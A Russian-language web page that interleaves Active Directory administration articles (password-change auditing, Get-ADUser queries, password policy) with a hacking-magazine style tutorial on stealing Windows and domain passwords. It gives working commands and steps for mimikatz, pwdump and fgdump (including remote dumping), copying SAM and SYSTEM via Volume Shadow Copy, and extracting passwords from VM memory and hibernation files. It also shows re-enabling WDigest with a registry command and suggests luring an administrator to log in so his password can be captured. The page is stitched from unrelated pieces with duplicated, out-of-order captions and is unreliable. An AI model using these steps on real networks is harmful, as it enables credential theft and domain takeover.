Как узнать пароль пользователя в домене

Содержание

Настройка аудита смены паролей пользователей AD с Powershell и Event Viewer

Используя групповые политики Active Directory можно настроить аудит смены паролей и других действий связанные с пользователями. Эти события можно получить используя оснастку Event Viewer и Powershell. В этой статье мы разберем эти возможности на примерах и создадим команду Powershell, которая сделает этот процесс более простым.

Навигация по посту

Как сдампить хеши паролей от учеток Windows-системы

Эта статья представляет собой полный сборник рецептов, описывающих, как сдампить хеши пользовательских паролей, восстановить исходный пасс путем выполнения брутфорса и получить с помощью извлеченного хеша доступ к защищенным ресурсам, используя недоработки протокола аутентификации NTLM. Минимум теории — только практика. Мы собрали все в одном месте и создали полный мануал.

Как узнать пароль пользователя в домене

Как узнать пароль администратора домена

Всем привет ранее я рассказывал как можно взломать контроллер домена и произвести сброс пароля администратора домена, но там нужно иметь физический доступ серверу либо к хосту виртуализации, да и все это будет сразу обнаружено, так как придется контроллер домена выключать. Все можно сделать гораздо более изящнее и без шумно. В результате того метода, что я вам расскажу вы сможете узнать пароль пользователя, а в идеале и системного администратора, главное правильно это организовать. Вся информация предоставляется исключительно в ознакомительных целях, чтобы администраторы безопасности имели представление, как защититься от такой проблемы.

Get-ADUser: поиск сведений о пользователях и фильтр пользователей по их свойствам в Active Directory

Get-ADUser — это один из базовых командлетов PowerShell, который можно использовать для получения информации о пользователях домена Active Directory и их свойствах. Вы можете использовать Get-ADUser, чтобы просмотреть значение любого атрибута объекта пользователя AD, отобразить список пользователей в домене с необходимыми атрибутами и экспортировать их в CSV, а также использовать различные критерии и фильтры для выбора пользователей домена.

Командлет Get-ADUser доступен начиная с PowerShell 2.0 и является частью специального модуля Active Directory для Windows PowerShell (представленного в Windows Server 2008 R2). Командлеты RSAT-AD-PowerShell позволяют выполнять различные операции с объектами AD.

Примечание. Раньше для получения информации об атрибутах учётных записей пользователей AD приходилось использовать различные инструменты: консоль ADUC (включая сохранённые запросы AD), сценарии vbs, dsquery и так далее. Все эти инструменты теперь легко заменить командлетом Get-ADUser.

Рассмотрим пример, в котором мы расскажем, как получить информацию о последнем изменении пароля пользователя и дате истечения срока действия пароля с помощью командлета Get-ADUser PowerShell.

Использование Get-ADUser для получения разной информации о пользователях домена AD

date21.05.2021
useritpro
directoryActive Directory, PowerShell
commentsкомментариев 156

Get-ADUser это один из основных командлетов PowerShell, который можно использовать для получения различной информации о пользователях Active Directory и их атрибутах. С помощью командлета Get-ADUser можно получить значение любого атрибута учетной записи пользователя AD, вывести список пользователей в домене с нужными атрибутами и экспортировать их в CSV, и использовать различные критерии для выборки доменных пользователей.

Комадлет Get-ADUser доступен начиная с PowerShell 2.0 и входит в специальный модуль для работы с Active Directory — Active Directory Module for Windows PowerShell (представлен в Windows Server 2008 R2). Командлеты модуля RSAT-AD-PowerShell позволяют выполнять различные операции с объектами каталога AD.

В этом примере мы покажем, как с помощью командлета PowerShell Get-ADUser получить информацию о времени последней смены пароля пользователя, когда истекает срок действия пароля и другие данные пользователей.

Атаки на домен: завладеваем корпоративной сетью

Большая часть всех корпораций, компаний и мелких фирм используют для построения корпоративной сети технологию Aсtive Directory и ОС семейства Windows. Сегодняшняя статья будет посвящена простой теме – захвата прав администратора в домене обезличенной корпоративной сети. Мы, конечно, поговорим об уязвимостях в службах и ОС, но в основном разговор будет об общих проблемах в архитектуре сети и проблемах аутентификации.

Настройка политики паролей домена в Active Directory

Чтобы обеспечить высокий уровень безопасности учётных записей пользователей в домене Active Directory, администратор должен настроить и реализовать политику паролей домена. Политика паролей должна обеспечивать достаточную сложность, длину пароля и частоту смены паролей учётных записей пользователей и служб. Таким образом, вы можете затруднить злоумышленнику возможность перебора или перехвата паролей пользователей при их отправке по сети.

Суть политики паролей домена заключается в том, что устанавливаются правила на минимальную длину пароля, на обязательное наличие в нём определённого количества букв разного регистра, цифр, специальных символов. Данные правила распространяются как на администратора домена, так и на всех пользователей домена.

Если компьютер подключён к домену, то политика паролей также распространяется и на локальных пользователей, но только при смене пароля. То есть если локальный пользователь не имел пароля до подключения к домену, либо имел пароль, неудовлетворяющий правилам политики, то такой пользователь не обязан устанавливать или менять пароль.

Где пароли?

Сразу отвечу на вопрос о том, где хранятся хеши паролей в системе. В общем случае их можно извлечь из трех мест:

  • из локальной SAM-базы, где хранятся LM/NTLM-хеши локальных пользователей;
  • из кеша LSA, в который попадают LM/NTLM-хеши доменных пользователей, стираемые после перезагрузки;
  • из специального кеша, где сохраняются MSCache-хеши паролей десяти последних пользователей, которые авторизовались на данном хосте (пароли кешируются, чтобы можно было войти в систему, если связь с доменом временно отсутствует).

Если используется контроллер домена, есть еще AD-хранилище. Важно понимать одно: из каждого указанного места пароли можно сдампить! Большинство приведенных ниже приемов давно известны, но мы решили сделать своего рода полный сборник рецептов, к которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению рецептов.

Получить пароль администратора домена

Большинство системных администраторов пребывают в уверенности, что Windows не хранит пароли пользователей в открытом виде, а только в виде его хэша. И хотя на сегодня существует большое количество утилит, способных извлечь хэши пользовательских паролей из системы, можно с определенной уверенностью сказать, что при использовании достаточно сложного пароля не «из словаря», у злоумышленника практически нет шансов подобрать его прямым брутфорсом или по базе уже рассчитанных хэшей.

В принципе, это так, но есть различные нюансы, касающиеся пользователей, залогиненых в системе. Дело в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши.

Так, например, механизм дайджест-аутентификации (HTTP Digest Authentication), используемый для поддержки SSO (Single Sign On), для своей работы требует знания вводимого пароля пользователя, а не только его хеша (о том, почему разработчиками это было сделано именно так, можно только догадываться). Пароли (именно пароли, а не их хэши) пользователей в зашифрованной форме хранятся в памяти ОС, а если быть более точным в процессе LSASS.EXE. Проблема в том, что шифрование паролей реализовано с помощью стандартных функций Win32 LsaProtectMemory и LsaUnprotectMemory, которые предназначены для шифрования/расшифровки некоторого участка памяти. Утилита французских разработчиков mimikatz позволяет получать зашифрованные данные из памяти и расшифровывать их с помощью функции LsaUnprotectMemory, позволяя вывести на консоль все учетные записи пользователей, авторизованных в системе, и их пароли (в открытом, уже расшифрованном виде!). Для эксплуатации уязвимости атакующий должен иметь возможность присоединить специальную библиотеку к процессу lsass.exe.

И так все это вода сверху. смысл всего этого сводится к тому, допустим есть терминальный сервер где программисты выполняют какие то вещи, и когда человек залогинен и имеет активную сессию то с помощью утилиты mimikatz можно вытащить его пароль. В идеале вы можете например попросить системного администратора что нибудь на сервере посмотреть, чаще всего они используют учетную запись администратора домена Active Directory, вот тут вы его и подловите.

Скачать утилиту mimikatz можно тут: http://blog.gentilkiwi.com/mimikatz либо по прямой ссылке с яндекс диска пароль на архив pyatilistnik.org

Настройка политики аудита

Самый удобный способ создать политику – использовать оснастку 'Group Policy Management'. Эта оснастка может быть открыта через RSAT или на домен-контроллер. Оснастку групповых политик так же открывается командой:

Вам необходимо выбрать OU, где находятся компьютеры, и создать в ней новую политику. Можно выбрать так же сайт или домен если вы планируете охватить область большую чем OU:

Создание политики аудита пользователей в Windows

В примерах я использую OU Moscow. Через Powershell создать и привязать политику тоже можно. Это делается следующим образом:

Создание политики аудита пользователей в Windows с Powerhsell

Политика, которая нам нужна, называется 'Audit account management/Аудит управления учетной записью'. Она включает аудит связанный с изменением пользователя, пароля и групп. Что бы это сделать пройдите по следующему пути

  • 'Computer Configuration' – 'Policies' – 'Windows Settings' – 'Security Settings' – 'Local Policies' = 'Audit Policy';
  • 'Конфигурация компьютера' – 'Параметры Windows' – 'Параметры безопасности' – 'Локальные политики' – 'Политика аудита'.

В этой политике нужно включить учет успешных попыток изменения данных (Success) и провала (Failure):

Создание политики аудита управления учетной записью в Windows Server

Powershell плохо предназначен для настройки политик. Основная проблема в том, что в качестве пути до политики мы должны указывать ветку реестра и знать значения, которые планируем менять. Политики аудита, связанные с безопасностью, не имеют веток реестра вообще и из-за этого установить их командами Powershell не возможно.

Ниже, для примера, показано как через Powershell устанавливается политика включающая заставку через 900 секунд:

У домен контроллеров есть роль FSMO, которая отвечает за пароли. Ее название PDC – 'Primary domain controller'. На домен контроллере, который держит эту роль, и будут собираться все события связанные с политикой аудита. Увидеть кому принадлежит эта роль можно так:

Получение роли AD PDC с помощью Powershell

На клиентских компьютерах запустим обновление политик:

Как найти пользователя AD и вывести список свойств с помощью Get-ADUser

Чтобы использовать командлет Get-ADUser необходимо установить Модуль Active Directory для Windows PowerShell, в каких системах он уже присутствует и как его установить если он ещё не установлен, смотрите в статье «Как установить и использовать модуль Active Directory PowerShell». На рабочих станциях данный модуль вы можете установить следующей командой:

Чтобы использовать командлет Get-ADUser, вам не нужно запускать его под учётной записью с администратором домена или с делегированными разрешениями. Любой авторизованный пользователь домена AD может запускать команды PowerShell для получения значений большинства атрибутов объекта AD (кроме конфиденциальных, например, связанных со сменой пароля). Если вам нужно запустить команду Get-ADUser из другой учётной записи, используйте параметр -Credential.

Чтобы отобразить список всех учётных записей домена, выполните эту команду:

Важно: Не рекомендуется запускать эту команду в доменах с большим количеством учётных записей, поскольку контроллер домена, предоставляющий информацию, может быть перегружен.

Чтобы выполнить запрос AD на конкретном контроллере домена, используйте опцию -Server. Чтобы вывести информацию по определённому пользователю, укажите его имя после опции -Identity:

Чтобы изменить атрибуты пользователя, используйте командлет Set-ADUser.

По умолчанию командлет Get-ADUser возвращает только 10 основных атрибутов пользователя (из более чем 120 свойств учётной записи пользователя): DistinguishedName, SamAccountName, Name, SID, UserPrincipalName, ObjectClass, статус учётной записи (Enabled: True/False в соответствии с атрибутом UserAccountControl AD) и так далее. В этом случае вывод командлета не содержит информации о времени последней смены пароля пользователя.

Чтобы отобразить подробную информацию обо всех доступных пользовательских атрибутах, выполните эту команду:

Командлет Get-ADUser с опцией «-Properties *» отображает список всех пользовательских атрибутов AD и их значений.

Теперь мы перейдём к форматированию вывода Get-ADUser, чтобы отображались необходимые атрибуты пользователя. Вы можете отображать сразу несколько атрибутов пользователя:

  • PasswordExpired (Срок действия пароля истёк)
  • PasswordLastSet (Последний раз пароль установлен)
  • PasswordNeverExpires (Пароль никогда не истекает)
  • LastLogonTimestamp (Временная метка последнего входа)

Чтобы показать только выбранные атрибуты пользователя, выполните команду:

Теперь в пользовательских данных есть информация о статусе учётной записи (Истёк ли срок действия пароля: True/False), дате последней смены пароля и времени последнего входа пользователя в домен. Чтобы отобразить эту информацию в более удобном табличном виде и удалить все ненужные атрибуты, используйте Select-Object -Property или Format-Table:

Домен. Просто домен

Перед тем, как начать, посмотрим, что представляет собой абстрактная корпоративная сеть. Начнем с понятия Active Directory. На самом деле это служба каталогов, которая удобно хранит ресурсы сети и их “свойства”. Типа каталога папочек в ящике, где описано, что за сервера в сети, что за рабочие станции, принтеры, какие есть пользователи, в каких группах они состоят. Ящик в данном случае – это сервер (контроллер домена), где централизованно хранится вся эта информация. Администратор контроллера домена – царь в корпоративной сети. Вернее, он царь той ее части, которая состоит в домене. Если компьютер или сервер в нем не состоит, то прав у администратора на машину нет, так как аутентификация и авторизация проводится без участия контроллера домена. Однако в большинстве случаев почти все сервера и рабочие станции состоят в домене, так как ради этого, собственно, домен и поднимается. Понятно, что серверные ОС – это, в большинстве своем, Windows 2000/2003/2008, а рабочки – XP/Vista/7. Можно намного подробнее описать, что такое домен и как он работает, но в таком случае места на рассказ о слабых местах практически не останется. Для тех, кто хочет начать с основ – советую статью в русской Википедии.

Как говаривали в Sun: “Компьютер – это сеть”, поэтому рассмотрим простейшую сеть. Самое главное, как ты уже понял, это контроллер домена. Это сердце сети. Контроллер отвечает за аутентификацию, доменные имена машин, политики для серверов и рабочих станций. То есть за все. Кроме основного сервера могут быть еще машинки, необходимые для организации бизнес-задач компании: почта, терминалки, базы данных и так далее. Потом идут рабочие станции. В простейшем (читай – худшем) случае вся эта тусовка располагается в одном сегменте сети. Как правило, если мы говорим о небольших компаниях, то так оно и есть. В больших компаниях все не так просто: в дело вступают сетевые устройства, которые разбивают сеть на сегменты, пропиливая дырки из сегмента в сегмент для нужных протоколов, сетей и серверов. Во всем этом благополучии часто бывает и Wi-Fi роутер, который дает доступ в сеть для любителей ноутбуков (кстати, именно роутер и становится основной точкой входа в сеть для плохих парней, но не он один). Атаки на браузер и плагины к нему – самый популярный способ проникнуть из интернета в сеть компании или банка. Кроме всего перечисленного, еще остаются варианты с троянами, подключениями к LAN через плохо контролируемые порты и, в конце-концов, банальный инсайд. В любом случае, все это выходит за рамки статьи, но понимать, что безопасность домена дело не последнее – все же необходимо.

Политика паролей в политике домена по умолчанию (Default Domain Policy)

По умолчанию для установки общих требований к паролям пользователей в домене AD используются параметры групповой политики (GPO). Политика паролей учётных записей пользователей домена настраивается в Default Domain Policy (политике домена по умолчанию). Эта политика связана с корнем домена и должна применяться к контроллеру домена с ролью эмулятора PDC.

1. Чтобы настроить политику паролей учётной записи AD, откройте консоль Управления групповой политикой (gpmc.msc);

2. Разверните свой домен и найдите объект групповой политики с именем Default Domain Policy. Щёлкните его правой кнопкой мыши и выберите «Изменить»;

3. Политики паролей находятся в следующем разделе GPO: Computer configuration→ Policies→ Windows Settings → Security Settings → Account Policies → Password Policy (в русскоязычной версии это соответственно Конфигурация компьютера → Политики → Конфигурация Windows → Параметры безопасности → Политики учетных записей → Политика паролей);

4. Дважды щёлкните параметр политики, чтобы изменить его. Чтобы включить определённый параметр политики, установите флажок Define this policy settings («Определить следующий параметр политики») и укажите необходимое значение (на скриншоте ниже я установил минимальную длину пароля 8 символов). Сохраните изменения;

Новые параметры политики паролей будут применены ко всем компьютерам домена в фоновом режиме через некоторое время (90 минут), во время загрузки компьютера, или вы можете применить политику немедленно, запустив команду

Вы можете изменить параметры политики паролей из консоли управления GPO или с помощью командлета PowerShell Set-ADDefaultDomainPasswordPolicy:

Локально при входе пользователя

Самый простой способ – это поместить скрипт в планировщик задач, который будет выполняться при входе пользователя в систему. Этот способ не подразумевает удаленной работы. Почти полный скрипт выглядит так:

Получение имени залогинившегося пользователя и его времени в Powershell

Можно создать политику, которая будет запускать скрипт при входе и экспортировать в CSV. Сам файл CSV может находится на удаленном компьютере. Следующая команда сделает это записав данные в конец существующий файл (т.е. не перезапишет файл):

Получится примерно следующий вид файла:

Получение имени залогинившегося пользователя и его времени в Powershell в CSV

Как создавать команды и функции в Powershell вызывать их и передавать параметры

PwDump и fgdump

Начнем с ситуации, когда у нас есть физический доступ к интересующей нас системе. В этом случае NTLM/LM-хеши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они необходимы для DLL-инжекта с помощью SeDebugPrivilege. Будем для простоты считать, что у нас есть аккаунт с правами администратора (а еще лучше NT AUTHORITYSYSTEM).

Получаем хэши локальных пользователей при помощи pwdump

Получаем хэши локальных пользователей при помощи pwdump

Другие статьи в выпуске:

Хакер #156. Взлом XML Encryption

Если имеется физический доступ, сдамить хеши довольно просто: есть много способов, к тому же всегда можно загрузить с флешки (или LiveCD), например, Kon-Boot, чтобы войти в систему под любым пользователем. Есть и много других хаков (в том числе для повышения привилегий до NT AUTHORITYSYSTEM с локального админа), о которых мы не раз писали в рубрике EasyHack в прошлом году. Но вернемся к процессу извлечения хешей. Самыми известными утилитами для создания дампа хешей являются pwdump и fgdump. Работать с этими тулзами достаточно просто, да и по функционалу они очень похожи. Для дампа хешей достаточно просто запустить проги:

Первая утилита выводит найденные хеши непосредственно в консоль. Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP (хеши паролей локальных пользователей) и 127.0.0.1.CACHEDUMP (закешированные хеши паролей доменных пользователей).

Одна из наиболее интересных опций, которую поддерживают обе утилиты, позволяет дампить хеши с удаленных машин. Чтобы провернуть этот фокус, скажем, с помощью pwdump, надо выполнить:

Здесь 10.1.1.1 — адрес удаленной машины, MYDOMAINsomeuser — аккаунт пользователя, lamepassword — пароль пользователя, а mytarget.log — файл для сохранения результатов. В отличие от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких:

В данном случае hostfile.txt — файл, содержащий список хостов, «-T 10» — количество параллельно работающих потоков. Полученный хеш можно попробовать сбрутфорсить с помощью специальных утилит, чтобы узнать исходный пасс (ищи целую подборку подходящих тулз на врезке).

Примечательно, что некоторые из них для большего удобства поддерживают формат вывода fgdump.exe.

Получение событий

Учитывая, что включенная политика касается не только паролей, можно настроить фильтр через Powershell или GUI. Мы настроим фильтры, которые будут выводить события связанные с определенными идентификаторами 'Event ID'. Нас интересуют следующие идентификаторы:

  • 4723 – попытка смены пароля;
  • 4724 – попытка сброса пароля;
  • 4740 – пользователь был заблокирован;
  • 4767 – пользователь был разблокирован.

Фильтрация логов с Event Viewer

Что бы выполнить фильтрацию через GUI – откройте логи 'Security' в 'Event Viewer' на домен-контроллере. Открыв журнал вы увидите множество событий не касающихся паролей:

Логи аудита в Windows

Эти фильтры мы можем применить зайдя в соответствующее меню:

Фильтрация логов в Windows Event Viewer

В новом окне мы должны указать идентификаторы событий, их источник и категорию:

Фильтрация логов в Windows Event Viewer

После этих установок у нас будут отображаться только нужные события.

Фильтрация логов с Powershell

В Powershell есть две команды для работы с логами:

  • Get-WinEvent – получает логи из всех журналов;
  • Get-Eventlog – получает логи из журналов Application, System, or Security. Является устаревшим командлетом.

Обе команды имеют параметр 'ComputerName', с помощью которого можно подключаться удаленно.

У получения логов средствами Powershell есть две проблемы:

  1. Процесс получения логов медленный. Выполнение одного запроса может выполняться больше 1 секунды;
  2. Если брать другие команды Powershell, то их вывод всегда структурирован в виде 'Ключ'='Значение'. При получении логов журнала, так же как в EventViewer, часть информации будет представлена как строка, т.е 'Ключ'= 'Ключ=Значение Ключ=Значение'. В разных случаях может придется использовать регулярные выражения и парсить значения.

Что бы максимально ускорить процесс получения логов можно использовать 3 параметра фильтрации: FilterXPath, FilterHashtable, FilterXml.

XPath – это язык запросов, который был создан для работы с XML. Мы можем не создавать свой запрос XPath, а увидеть уже составленный на созданном раннее фильтре, на вкладке XML:

XPath для поиска по логам Windows

Команда, которая получит подобные логи с домен-контроллера 'AD1' и используя запрос XPath, будет выглядеть следующим образом:

Использование XPath при поиске логов через Powershell

Аналогичное можно сделать использовав HashTable. Мы не должны указывать тип логов, т.к. это сделано в массиве:

Создание запроса для поиска логов с Powerhsell Get-WinEvent

Если вам больше нравится вариант с запросом через hashtable, но вы не понимаете как правильно его составить, можно использовать следующий подход. Мы должны найти хоть один лог, который нам нужен используя любые средства Powerhsell. Затем мы выводим все свойства через 'SELECT *' и заполняем ими нашу таблицу:

Вывод детальной информации из журнала Windows средствами Powershell Get-WinEvent

Отличия между массивом hashtable и обычными средствами Powershell в скорости. Если вы будете фильтровать вывод используя Powerhsell (как в примере выше) – это будет медленнее. Кроме указанных параметров в документации можно найти дополнительные варианты.

Get-ADUser: поиск в нескольких подразделениях с помощью SearchBase

Чтобы отображать пользователей только из определённого контейнера домена (организационного подразделения), используйте опцию -SearchBase:

Если вам нужно выбрать пользователей из нескольких подразделений одновременно, используйте следующий скрипт PowerShell:

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe “winsrv2008r2.vmem” vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Дамп паролей с помощью Volume Shadow Copy Service

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дампинга паролей, о котором пойдет речь далее, появился относительно недавно. Что круче всего, он вообще не требует сторонних инструментов и задействует только возможности самой системы. Как мы уже знаем, хеши паролей локальных пользователей хранятся в том числе и в файле SAM, правда, в зашифрованном виде. Поэтому, чтобы прочитать их, требуется еще один файл — SYSTEM. Эти два файла представляют собой системные ветви реестра, которые ОС постоянно использует, поэтому доступ к ним невозможен даже из-под администратора. Из-за этого многим приложениям, которые извлекают хеши паролей, приходится идти на ухищрения, чтобы получить доступ к этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся легальным механизмом, который предоставляет сама ОС. Этот механизм, позволяющий делать «мгновенный снимок» тома, называется Volume Shadow Copy Service (теневое копирование тома). Он появился в ОС Windows начиная с версий XP и Server 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки (Volume Shadow Copy for Shared Folders). Суть идеи состоит в том, что при теневом копировании будут созданы копии важных системных файлов (в частности, SAM и SYSTEM), доступ к которым мы сможем легко получить. Чтобы избавиться от лишней работы в консоли, воспользуемся небольшим скриптиком vssown.vbs, управляющим созданием копий. Сценарий ты найдешь на нашем диске. Для начала запускаем сервис теневого копирования: cscript vssown.vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown.vbs /list.

Созданная нами копия будет самой последней. Из всей информации нас интересует Device object со значением «?GLOBALROOTDeviceHarddiskVolumeShadowCopy14» (здесь 14 — номер теневой копии). Дальнейшие манипуляции предельно просты.

  1. Копируем интересующие нас файлы:copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy14 windowssystem32configSYSTEM . copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy14 windowssystem32configSAM .
  2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа SAMInside для расшифровки полученных хешей.

Получить Email адреса пользователей из AD

Email пользователя это один из атрибутов в Active Directory. Чтобы вывести список email адресов пользователей, вы должны добавить поле EmailAddress в выбираемые поля командлета Get-ADUser.

Get-ADUser -filter * -properties EmailAddress -SearchBase ‘OU=MSK,DC=winitpro,DC=loc’| select-object Name, EmailAddress

Get-ADUser список email адресов

Вывести список активных учёток с почтовыми адресами:

Get-ADUser -Filter -Properties Surname,GivenName,mail | Select-Object Name,Surname,GivenName,mail | Format-Table

Список пользователей, у которые нет email адреса:

Get-ADUser -Filter * -Properties EmailAddress | where -Property EmailAddress -eq $null

Следующий пример позволяет выгрузить адресную книгу email адресов компании в виде csv файла, который в дальнейшем можно импортировать в Outlook или Mozilla Thunderbird:

Get-ADUser -Filter -Properties Surname,GivenName,mail | Select-Object Name,Surname,GivenName,mail | Export-Csv -NoTypeInformation -Encoding utf8 -delimiter “,” $env:tempmail_list.csv

Создание команды

Создадим функцию с помощью который мы сможем выполнять эти действия более удобным для нас способом. Эта функция должна будет учитывать следующие моменты:

  • возможность указания времени, указывающие на начало создания лога;
  • понятный вывод сообщения соответствующий идентификаторам;
  • источник и цель аудита. Например администратор изменивший пароль пользователя;
  • тип события – success или fail.

Что бы получить события начинающиеся с определенной даты мы можем использовать существующее свойство 'StartTime' в массиве. 'EndTime' указывает обратное. В примере ниже мы получим события созданные за сутки:

Фильтрация логов Windows используя дату средствами Powershell Get-WinEvent

Выше уже описывалась, что одна из проблем работы с журналом – это отсутствие форматирования каких-то данных. В примере ниже свойство 'Messages' хранит сплошной текст, а 'Properties' только некоторые отформатированные данные из 'Messages':

Вывод подробной информации о логе Windows с Powershell Get-WinEvent

Пример выше – скорее идеальный случай. У вас может отличаться порядок или другая информация в 'Properties'. Эти данные точно будут отличаться в логах с разными ID. В случае с одинаковыми ID – это так же может случатся.

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Получение паролей из файлов виртуальных машины и файлов гибернации

Идем дальше. С помощью простых манипуляций злоумышленник может запросто извлечь пароли пользователей из файлов дампов памяти, файла гибернации системы и .vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:

Полученный дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем библиотеку mimikatz с именем mimilib.dll (версию выбрать в зависимости от разрядности системы):

Ищем в дампе процесс lsass.exe:

Как узнать пароль администратора домена-11

Как узнать пароль администратора домена-11

И наконец, набираем

и получаем список пользователей Windows и их пароли в открытом виде:

Как узнать пароль администратора домена-12

Как узнать пароль администратора домена-12

Получение паролей пользователей Windows в открытом виде с помощью утилиты Mimikatz работает на следующих системах, в том числе запущенных на гипервизорах Hyper-V 2008/2012 и VMWare различных версий:

  • Windows Server 2008 / 2008 R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Get-ADUser: экспорт пользователей домена в текстовый или CSV/Excel файл

Полученный список пользователей домена с атрибутами можно выгрузить в текстовый файл:

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | ft Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires > C: empusers.txt

Или вы можете выгрузить пользователей AD в файл CSV, который в дальнейшем будет удобно экспортировать в Excel.

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | select Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires | Export-csv -path c: empuser-password-expires-2019.csv -Append -Encoding UTF8

Через файл ntuser.dat

Каждый раз, как пользователь входит в систему все его настройки загружаются из файла ntuser.dat, который находится в домашнем каталоге 'C:UsersUserName'. При выходе из системы все настройки записываются в этот же файл. То есть мы можем получить имя пользователя по дате изменения этого файла.

В этом примере вернутся все каталоги пользователей:

Получение списка вошедших пользователей с Powershell

Получим даты изменения файлов 'ntuser.dat':

Получение списка вошедших пользователей с ntuser.dat в Powershell

Извлечем из пути имя пользователя и уберем лишние колонки:

Форматирование списка залогиненных пользователей в Powershell с ntuser.dat

Как вы знаете к большинству компьютеров можно подключится используя следующие пути:

Это же мы можем использовать с командой Get-ChildItem. Соединим все это в функцию:

Далее мы можем использовать команду в таких вариациях:

Функция получения пользователей с ntuser.dat в Powershell

Ключ '-ErrorAction SilentlyContinue' нужен для игнорирования ошибок связанных с выключенными компьютерами. Если его не написать вы получите ошибки формата:

  • Get-ChildItem : Cannot find path '\CL2C$Users' because it does not exist.

Отмечу несколько моментов:

  1. В отличие от первого скрипта Get-ChildItem может принимать массивы. Изменив строки на массивы вы можете немного ускорить работу скрипта. То есть вы можете написать
    "Get-Childitem -Path '\Computer1C$Users', '\Computer2C$Users' ";
  2. LogoffDate – это отдельный тип данных даты и времени, а это значит, например, что мы можем увидеть кто вышел за последний час/сутки. Пример будет ниже.
  3. Если вы выполняете команды типа 'Invoke-Command' (удаленные команды) – они тоже могут изменить файл ntuser.dat. То есть вы возможно захотите исключить часть пользователей из финального списка. Пример ниже.

Представим, что мы захотим сформировать список из тех пользователей, которые выполнили выход за последний час. Это можно сделать так:

Получении списка вошедших пользователей с Powershell

Исключить пользователей мы можем так же:

Исключение из списка вошедших пользователей с Powershell

Экспорт для Excel аналогичен предыдущему примеру:

Результат получения залогиненных пользователей в Powershell с ntuser.dat

Через WMI

У WMI есть множество классов, которые хранят значения времени входа пользователей и их времена. Например класс 'Win32_NetworkLoginProfile' тоже хранит их, но при удаленном использовании – вернет время входа только локальных пользователей, а не доменных. Класс 'Win32_UserProfile' – тоже хранит 'LastUseTime', но это время не обозначает именно процесс успешного входа после ввода логина и пароля. Класс 'win32_computersystem' отображает только имя пользователя.

Я пробовал и другие классы, но каждый со своими проблемами. Решения так и не нашел.

HashGrab2 + samdump2

Чтобы сдампить хеши, необязательно логиниться в системе. Опять же, если есть физический доступ к компьютеру, то можно не только загрузить с LiveCD утилиту для сброса пароля (скажем, Offline NT Password & Registry Editor), но и легко сдампить хеши с помощью специального софта — еще бы, ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуемся утилитами HashGrab2 и samsump2, которые можно запустить практически из любого LiveCD-дистрибутива. HashGrab2 автоматически монтирует все Windows-разделы, которые может найти, и при помощи samdump2 извлекает логины и хеши паролей из файлов SAM и SYSTEM. Вот как это выглядит на практике:

Полученные хеши тут же можно скормить брутфорсеру.

Как защититься от получения пароля через mimikatz?

В качестве временного решения можно предложить отключить поставщика безопасности wdigest через реестр. Для этого в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa найдите ключ Security Packages и удалить из списка пакетов строку wdigest.

Как узнать пароль администратора домена-13

Как узнать пароль администратора домена-13

Однако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда поменять вернуть настройки обратно.

